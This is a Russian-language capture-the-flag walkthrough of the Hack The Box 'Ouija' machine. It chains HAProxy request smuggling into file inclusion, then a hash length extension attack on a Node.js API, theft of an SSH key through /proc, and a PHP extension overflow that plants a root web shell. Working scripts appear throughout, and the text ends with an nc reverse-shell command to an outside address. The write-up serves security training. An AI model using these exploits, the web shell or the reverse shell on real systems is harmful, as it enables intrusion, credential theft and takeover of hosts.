Обзор сервисов

Проведем стандартное первоначальное сканирование сервисов машины 10.10.11.244 с помощью rustscan:

$ rustscan --ulimit=5000 --range=1-65535 -a 10.10.11.244 -- -A -sC
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog           :
: https://github.com/RustScan/RustScan :
 --------------------------------------
🌍HACK THE PLANET🌍

[~] The config file is expected to be at "/home/user/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.10.11.244:22
Open 10.10.11.244:80
Open 10.10.11.244:3000
[~] Starting Script(s)
[>] Running script "nmap -vvv -p {{port}} {{ip}} -A -sC" on ip 10.10.11.244
Depending on the complexity of the script, results may take some time to appear.
Warning: Hit PCRE_ERROR_MATCHLIMIT when probing for service http with the regex '^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?.*\r\nServer: Virata-EmWeb/R([\d_]+)\r\nContent-Type: text/html; ?charset=UTF-8\r\nExpires: .*<title>HP (Color |)LaserJet ([\w._ -]+)&nbsp;&nbsp;&nbsp;'
[~] Starting Nmap 7.94SVN ( https://nmap.org ) at 2023-12-02 14:03 EST
NSE: Loaded 156 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
Initiating Ping Scan at 14:03
Scanning 10.10.11.244 [2 ports]
Completed Ping Scan at 14:03, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 14:03
Completed Parallel DNS resolution of 1 host. at 14:03, 0.57s elapsed
DNS resolution of 1 IPs took 0.57s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating Connect Scan at 14:03
Scanning 10.10.11.244 [3 ports]
Discovered open port 80/tcp on 10.10.11.244
Discovered open port 22/tcp on 10.10.11.244
Discovered open port 3000/tcp on 10.10.11.244
Completed Connect Scan at 14:03, 0.06s elapsed (3 total ports)
Initiating Service scan at 14:03
Scanning 3 services on 10.10.11.244
Completed Service scan at 14:03, 11.18s elapsed (3 services on 1 host)
NSE: Script scanning 10.10.11.244.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 1.91s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.22s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
Nmap scan report for 10.10.11.244
Host is up, received syn-ack (0.055s latency).
Scanned at 2023-12-02 14:03:43 EST for 13s

PORT     STATE SERVICE REASON  VERSION
22/tcp   open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 6f:f2:b4:ed:1a:91:8d:6e:c9:10:51:71:d5:7c:49:bb (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOF5zQd8OgxRSgutBifLJRc7jgEi2e7uNFtuctcdQmJGWQYTQ+PZQcwv5fZnF0BHotgSA8Vp58ftuLK93zuh7I8=
|   256 df:dd:bc:dc:57:0d:98:af:0f:88:2f:73:33:48:62:e8 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICKPk/B9wRV28rwbwQHh9JYErJC2f/143AtDpUhHgTro
80/tcp   open  http    syn-ack Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: HEAD GET POST OPTIONS
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
3000/tcp open  http    syn-ack Node.js Express framework
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (application/json; charset=utf-8).
|_http-favicon: Unknown favicon MD5: 03684398EBF8D6CD258D44962AE50D1D
Service Info: Host: localhost; OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 14:03
Completed NSE at 14:03, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.26 seconds

Обнаруживаем SSH и два HTTP порта (80, 3000).

Веб

Если перейти по IP-адресу на порт 80, то обнаружим обычную заглушку Apache.

Alt text

Добавим в /etc/hosts домен ouija.htb и попробуем еще раз.

$ sudo nano /etc/hosts
10.10.11.244 ouija.htb

Alt text

В коде страницы ouija.htb находим трекерный скрипт, ведущий на gitea.ouija.htb, также добавим его в /etc/hosts.

Еще посмотрим, что имеем на порту 3000.

Alt text

Далее попробуем поискать поддомены с помощью gobuster:

$ gobuster vhost -u http://ouija.htb -w /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt --append-domain
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://ouija.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/wordlists/seclists/Discovery/DNS/namelist.txt
[+] User Agent:      gobuster/3.6
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.ouija.htb Status: 403 [Size: 93]
...
Found: gitea.ouija.htb Status: 200 [Size: 14012]
...
Progress: 151265 / 151266 (100.00%)
===============================================================
Finished
===============================================================

Находим домен dev.ouija.htb, но он закрыт с помощью ACL.

Посмотрим, что имеем на git-сервере.

Alt text

Обнаруживаем пользователя leila и репозиторий с сайтом, который висит на 80 порту. Из важного в этом репозитории - версии используемого софта.

Alt text

Также на http://10.10.11.244/server-status обнаруживаем страницу с метриками Apache.

Alt text

Внутри Apache слушает 8080, а версия реверс-прокси HAProxy из репозитория - 2.2.16. Узнаем, что она уязвима к request smuggling (GHSAh2p2-w857-329f / CVE-2023-25725).

Вот пример запроса, который приводит к Local File Inclusion (я пропустил часть, где мы находим editor.php, потому что достаточно сделать запрос на /index.php, чтобы увидеть его). Стоит обратить внимание, что каждый перенос строки - это \r\n (я привел скриншот, чтобы было понятно).

Также стоит обратить внимание на Content-Length, который нужно хитро высчитывать от второго запроса. Чтобы Burp не считал его сам, нужно перейти в Burp -> Settings -> Repeater и отжать галку Update content length.

Alt text

Вот и сам запрос.

POST /index.html HTTP/1.1

Host: ouija.htb

Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:

Content-Length: 80



GET http://dev.ouija.htb/editor.php?file=../../../../etc/passwd HTTP/1.1

x:Get / HTTP/1.1

Host: ouija.htb

Alt text

Чтобы не страдать с калькуляцией длины, я написал скрипт smuggler.py.

import socket
import argparse

HOST = "ouija.htb"
PORT = 80

parser = argparse.ArgumentParser()
parser.add_argument("-f", "--filename", type=str, required=True)
parser.add_argument("-r", "--raw", action="store_true", default=False)
args = parser.parse_args()

filename = args.filename
payload = f"GET http://dev.ouija.htb/editor.php?file={filename} HTTP/1.1\r\nx:Get "

def recvall(sock, buffer_size=4096):
    buf = sock.recv(buffer_size)
    while buf:
        yield buf
        if len(buf) < buffer_size: break
        buf = sock.recv(buffer_size)

def get_between_tokens(data, token_start, token_end):
    idx_start = data.find(token_start)
    if idx_start == -1:
        return None
    idx_end = data.find(token_end, idx_start)
    if idx_end == -1:
        return None
    return data[idx_start + len(token_start):idx_end].strip()


def send(do_print: bool = False, raw: bool = False):
    DATA = "POST /index.html HTTP/1.1\r\n" + \
    "Host: ouija.htb\r\n" + \
    "Content-Length0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa:\r\n" + \
    f"Content-Length: {len(payload)}\r\n\r\n\r\n" + \
    f"{payload} / HTTP/1.1\r\n" + \
    "Host: ouija.htb"

    with socket.socket() as s:
        s.connect((HOST, PORT))
        s.send(DATA.encode("utf-8"))
        data = b"".join(recvall(s)).decode("utf-8")
        if do_print:
            if raw:
                print(data)
            else:
                print_data = get_between_tokens(data, '<textarea name="content" id="content" cols="30" rows="10">', '</textarea>')
                if print_data is None:
                    print("No file or file is empty")
                else:
                    print_data = print_data.strip()
                    if not print_data:
                        print("No file or file is empty")
                    else:
                        print(print_data)

send()
send(do_print = True, raw = args.raw)

А вот и тот самый /index.php, о котором я говорил выше.

$ python3 smuggle.py -f "../../../../var/www/dev/index.php"
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <title>Ouija dev</title>
    <link rel="stylesheet" href="style.css">
</head>

<body>

    <h1>projects under development</h1>

    <ul>
        <li>
            <strong>Project Name:</strong> Api
            <br>
            <strong>Api Source Code:</strong> <a href="http://dev.ouija.htb/editor.php?file=app.js" target="_blank">app.js</a>
            <strong>Init File:</strong> <a href="http://dev.ouija.htb/editor.php?file=init.sh" target="_blank">init.sh</a>
        </li>

    </ul>

    <footer>
        &copy; 2023 ouija software
    </footer>
</body>

</html>

Но для получения доступа нам нужны файлы init.sh и app.js.

$ python3 smuggle.py -f "init.sh" 
#!/bin/bash

echo "$(date) api config starts" >>
mkdir -p .config/bin .config/local .config/share /var/log/zapi
export k=$(cat /opt/auth/api.key)
export botauth_id="bot1:bot"
export hash="4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1"
ln -s /proc .config/bin/process_informations
echo "$(date) api config done" >> /var/log/zapi/api.log

exit 1
$ python3 smuggle.py -f "../../../../../var/www/dev/uploads/app.js" --raw

var express = require('express');
var app = express();
var crt = require('crypto');
var b85 = require('base85');
var fs = require('fs');
const key = process.env.k;

app.listen(3000, ()=>{ console.log("listening @ 3000"); });

function d(b){
    s1=(Buffer.from(b, 'base64')).toString('utf-8');
    s2=(Buffer.from(s1.toLowerCase(), 'hex'));
    return s2;
}
function generate_cookies(identification){
    var sha256=crt.createHash('sha256');
    wrap = sha256.update(key);
    wrap = sha256.update(identification);
    hash=sha256.digest('hex');
    return(hash);
}
function verify_cookies(identification, rhash){
    if( ((generate_cookies(d(identification)))) === rhash){
        return 0;
    }else{return 1;}
}
function ensure_auth(q, r) {
    if(!q.headers['ihash']) {
        r.json("ihash header is missing");
    }
    else if (!q.headers['identification']) {
        r.json("identification header is missing");
    }

    if(verify_cookies(q.headers['identification'], q.headers['ihash']) != 0) {
        r.json("Invalid Token");
    }
    else if (!(d(q.headers['identification']).includes("::admin:True"))) {
        r.json("Insufficient Privileges");
    }
}

app.get("/login", (q,r,n) => {
    if(!q.query.uname || !q.query.upass){
        r.json({"message":"uname and upass are required"});
    }else{
        if(!q.query.uname || !q.query.upass){
            r.json({"message":"uname && upass are required"});
        }else{
            r.json({"message":"disabled (under dev)"});
        }
    }
});
app.get("/register", (q,r,n) => {r.json({"message":"__disabled__"});});
app.get("/users", (q,r,n) => {
    ensure_auth(q, r);
    r.json({"message":"Database unavailable"});
});
app.get("/file/get",(q,r,n) => {
    ensure_auth(q, r);
    if(!q.query.file){
        r.json({"message":"?file= i required"});
    }else{
        let file = q.query.file;
        if(file.startsWith("/") || file.includes('..') || file.includes("../")){
            r.json({"message":"Action not allowed"});
        }else{
            fs.readFile(file, 'utf8', (e,d)=>{
                if(e) {
                    r.json({"message":e});
                }else{
                    r.json({"message":d});
                }
            });
        }
    }
});
app.get("/file/upload", (q,r,n) =>{r.json({"message":"Disabled for security reasons"});});
app.get("/*", (q,r,n) => {r.json("200 not found , redirect to .");});

Это то самое приложение, которое работает на порту 3000. Мы видим, что можем скачать файлы, но нам нужны валидные заголовки identification и ihash. В проверке участвует секретный ключ, которого мы не знаем, но проверка реализована таким образом, что возможно провести атаку Hash Length Extension.

Из init.sh берем строку bot1:bot и SHA-256 хеш-сумму 4b22a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1 и заряжаем в hash_extender:

hash_extender --data "bot1:bot" --append '::admin:True' -f sha256 -s "4b2
2a0418847a51650623a458acc1bba5c01f6521ea6135872b9f15b56b988c1" --secret-min 1 --secret-max 1000 > hash.txt

Теперь напишем скрипт для брутфорса brute.py:

import base64
import requests

with open("hash.txt") as f:
    data = f.read()

data = data.split("\n\n")

for entry in data:
    if not entry.strip():
        continue
    strip_func = lambda x: x.split(": ")[1].strip()
    lines = entry.strip().split("\n")
    hash_type = strip_func(lines[0])
    secret_length = int(strip_func(lines[1]))
    new_signature = strip_func(lines[2])
    new_string = strip_func(lines[3])
    new_string_base64 = base64.b64encode(new_string.encode("utf-8")).decode("utf-8")
    headers = {
        "ihash": new_signature,
        "identification": new_string_base64,
    }

    r = requests.get("http://ouija.htb:3000/file/get/?file=1", headers=headers)
    result = r.json()
    if result != "Invalid Token":
        print("Found " + str(secret_length))
        exit(0)


print("None")

И находим длину секрета 23.

$ hash_extender --data leila --append '::admin:True' -f sha256 -s b811f03f712c066b1a03a1fbe3877fa2b68f9b1692c2bdfb45c96b731f677496 --secret 23
Type: sha256
Secret length: 23
New signature: ...
New string: ...

Теперь напишем скрипт fetcher.py, с помощью которого будем доставать файлы.

import base64
import requests
import argparse

IHASH = "..."
IDENTIFICATION = "..."

parser = argparse.ArgumentParser()
parser.add_argument("-f", "--filename", type=str,
                    required=True)
args = parser.parse_args()

headers = {
    "ihash": IHASH,
    "identification": base64.b64encode(IDENTIFICATION.encode("utf-8")).decode("utf-8"),
}
params = {
    "file": args.filename,
}

r = requests.get("http://ouija.htb:3000/file/get/",
                 headers=headers, params=params)
result = r.json()
print(result)

Из init.sh узнаем, что /proc подмонтирован в .config/bin/process_information, а это значит, что можно делать всякое такое. Например, получить переменные окружения:

$ python3 fetcher.py -f ".config/bin/process_informations/self/environ"
{'message': 'LANG=en_US.UTF-8\x00PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\x00HOME=/home/leila\x00LOGNAME=leila\x00USER=leila\x00SHELL=/bin/bash\x00INVOCATION_ID=1e391752e6e746588f92b02565430fed\x00JOURNAL_STREAM=8:120531\x00SYSTEMD_EXEC_PID=13844\x00k=FKJS645GL41534DSKJ@@GBD\x00'}

Мы исполняемся из-под пользователя leila, попробуем так же стянуть ssh-ключ:

$ python3 fetcher.py -f ".config/bin/process_informations/self/root/home/leila/.ssh/id_rsa"
{'message': '-----BEGIN OPENSSH PRIVATE KEY-----\n...\n-----END OPENSSH PRIVATE KEY-----\n'}

Далее сохраняем ключ и логинимся как leila.

Alt text

Флаг пользователя

Alt text

Повышение привилегий

Это самая сложная часть машины, которая раскручивает Integer Overflow в Buffer Overflow. Повышение привилегий выполнял с помощью подсказок от Dark Wing (и спасибо maza за предоставление этой информации).

Первым делом посмотрим в netstat и увидим сервис, который крутится на 127.0.0.1:9999. Пробросим порт на локальную машину.

ssh -i id_rsa -L 9999:127.0.0.1:9999 [email protected]

Исходный код приложения лежит в /development/server-management_system_id_0, но доступ на запись туда имеет только root.

Alt text

Просто приложение, которое проверяет логин и пароль, в Burp выглядит как POST запрос с параметрами username=123&password=123.

Код проверки лежит в /development/server-management_system_id_0/index.php:

<?php
 if(isset($_POST['username']) && isset($_POST['password'])){
//  system("echo ".$_POST['username']." > /tmp/LOG");
  if(say_lverifier($_POST['username'], $_POST['password'])){
   session_start();
   $_SESSION['username'] = $_POST['username'];
   $_SESSION['IS_USER_'] = "yes";
   $_SESSION['__HASH__'] = md5($_POST['username'] . "::" . $_POST['password']);
   header('Location: /core/index.php');
  }else{
   echo "<script>alert('invalid credentials')</alert>";
  }
 }
?>

Нужно обратить внимание на функцию say_lverifier.

$ cat /development/server-management_system_id_0/.debug/maps | grep lverifier
7f6845e7e000-7f6845e7f000 r--p 00000000 fd:00 30980                      /usr/lib/php/20220829/lverifier.so
7f6845e7f000-7f6845e80000 r-xp 00001000 fd:00 30980                      /usr/lib/php/20220829/lverifier.so
7f6845e80000-7f6845e81000 r--p 00002000 fd:00 30980                      /usr/lib/php/20220829/lverifier.so
7f6845e81000-7f6845e82000 r--p 00002000 fd:00 30980                      /usr/lib/php/20220829/lverifier.so
7f6845e82000-7f6845e83000 rw-p 00003000 fd:00 30980                      /usr/lib/php/20220829/lverifier.so
$ ls -la /usr/lib/php/20220829/
total 9228
drwxr-xr-x 2 root root    4096 Nov 22 12:13  .
drwxr-xr-x 5 root root    4096 Nov 22 12:13  ..
-rw-r--r-- 1 root root   35080 Oct 26 17:33  calendar.so
-rw-r--r-- 1 root root   14600 Oct 26 17:33  ctype.so
-rw-r--r-- 1 root root   96520 Oct 26 17:33  exif.so
-rw-r--r-- 1 root root  178440 Oct 26 17:33  ffi.so
-rw-r--r-- 1 root root 7153984 Oct 26 17:33  fileinfo.so
-rw-r--r-- 1 root root   67848 Oct 26 17:33  ftp.so
-rw-r--r-- 1 root root   18696 Oct 26 17:33  gettext.so
-rw-r--r-- 1 root root   51464 Oct 26 17:33  iconv.so
-rwxr-xr-x 1 root root   43472 Jun 25 22:39  lverifier.so
-rw-r--r-- 1 root root 1018920 Oct 26 17:33  opcache.so
-rw-r--r-- 1 root root  133384 Oct 26 17:33  pdo.so
-rw-r--r-- 1 root root  289032 Oct 26 17:33  phar.so
-rw-r--r-- 1 root root   43272 Oct 26 17:33  posix.so
-rw-r--r-- 1 root root   39176 Oct 26 17:33  readline.so
-rw-r--r-- 1 root root   18696 Oct 26 17:33  shmop.so
-rw-r--r-- 1 root root  104712 Oct 26 17:33  sockets.so
-rw-r--r-- 1 root root   22792 Oct 26 17:33  sysvmsg.so
-rw-r--r-- 1 root root   14600 Oct 26 17:33  sysvsem.so
-rw-r--r-- 1 root root   22792 Oct 26 17:33  sysvshm.so
-rw-r--r-- 1 root root   35080 Oct 26 17:33  tokenizer.so

У всех файлов в каталоге /usr/lib/php/20220829/ дата модификации 26 октября, а lverifier.so - 25 июня.

Скачаем проект и этот файл, соберем свою локальную лабораторную машину с помощью Docker на WSL. Я буду исследовать с помощью IDA, поэтому нам понадобится ее linux_server64.

Dockerfile для лабораторки с помощью IDA (нужен linux_server64).

FROM ubuntu:22.04
RUN apt-get update && apt-get upgrade -y
RUN apt-get install -y software-properties-common
RUN add-apt-repository ppa:ondrej/php
RUN apt-get update
RUN DEBIAN_FRONTEND=noninteractive apt-get install -y php8.2 php8.2-cli php8.2-opcache php8.2-readline
RUN DEBIAN_FRONTEND=noninteractive apt-get install -y gdb gdbserver
ADD lverifier.so  /usr/lib/php/20220829/
ADD linux_server64 /src/
RUN echo "extension=lverifier.so" > /etc/php/8.2/cli/conf.d/50-lverifier.ini
RUN chmod +x /src/linux_server64
WORKDIR /src
ENTRYPOINT [ "/bin/bash" ]

Собираем этот контейнер:

docker build -t lverifier .

Скрипт запуска контейнера:

docker kill lverifier
docker rm lverifier
docker run --name lverifier -it --rm -p 23946:23946 -v $(pwd):/src lverifier /src/linux_server64

Ну и сам запуск контейнера:

bash start-container.sh

Как видно выше, весь мой код лежит в контейнере в папке /src.

Открываем lverifier.so в IDA, выбираем дебаггер Remote Linux debugger, параметры такие:

Alt text

test.php для дебаггинга:

<?php
$username = str_repeat("hello");
print($username);
$x = say_lverifier($username, 'world');
$y = $x ? 'true' : 'false';
print('var x: ' . $y . "\n");
?>

Ставим breakpoint на validating_userinput и запускаем.

Alt text

Суть в том, что функция validating_userinput очень странно обращается с буффером username.

Alt text

А в конце этой функции видим вызов функции event_recorder с параметрами, которые опять же странно формируются. event_recorder - это функция, которая записывает лог в заданный статически файл, но из-за кривого кода мы можем повлиять на имя этого файла и его содержимое.

Alt text

Как мы это проверим? Отправим большой payload.

<?php
$username =  str_repeat("A", 4096000);
$x = say_lverifier($username, 'world');
$y = $x ? 'true' : 'false';
print('var x: ' . $y . "\n");
?>

И получим Segmentation violation.

Alt text

Стек с нашим буфером.

Alt text

Мы начинаем играться с длиной буфера и приходим к числу 65538, что как раз показывает Integer Overflow.

Теперь воспользуемся любым скриптом или сервисом, который сгенерирует последовательность, по которой мы сможем понять смещение, например, Buffer Overflow Pattern Generator.

<?php
$username = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac...";
$x = say_lverifier($username, 'world');
$y = $x ? 'true' : 'false';
print('var x: ' . $y . "\n");
?>

Alt text

Если теперь посмотреть на регистры ESI и EDI (в которых как раз путь и буфер, который мы хотим поменять), то увидим свои данные.

Alt text

Alt text

Благодаря этому понимаем, что буфер username[16:800] - это файл, в который мы можем писать, а username[128:800] - содержимое для записи.

Попробуем тригернуть простую запись файла:

<?php
$username = str_repeat("/", 795) . "/test" . str_repeat("A", 64738);
print($username);
$x = say_lverifier($username, 'world');
$y = $x ? 'true' : 'false';
print('var x: ' . $y . "\n");
?>

Alt text

Теперь мы понимаем, что умеем с правами пользователя root писать в любой каталог. Dark Wing предлагает создать каталог, в имени которого PHP-код, а также модифицировать входную строку так, чтобы в каталог записался PHP-файл.

Скрипт с готовым эксплоитом:

<?php
$buffer_size = 800;
$cyclic_size = 65538;
$payload =  '/tmp/miao/<?=`$_GET[0]`?>/../../..//development/server-management_system_id_0/miao.php';
$username = str_repeat("/", $buffer_size - strlen($payload)) . $payload . str_repeat("A", $cyclic_size - $buffer_size);
print($username);
$x = say_lverifier($username, 'world');
?>

Перед отправкой получившегося буфера (для его получения нужно развернуть лабораторный контейнер локально) нужно создать нужный каталог.

mkdir -p "/tmp/miao/<?=\`\$_GET[0]\`?>"

После этого просто через браузер отправить получившийся эксплоит в поле username (можно через Burp, но у меня были некоторый проблемы с этим). В результате получим в этом каталоге файл miao.php, который выполняет любой код.

Alt text

Теперь просто пробрасываем реверс-шелл.

http://127.0.0.1:9999/miao.php?0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7Cbash%20-i%202%3E%261%7Cnc%2010.10.14.137%204242%20%3E%2Ftmp%2Ff

Alt text

Флаг суперпользователя

Alt text

Ссылки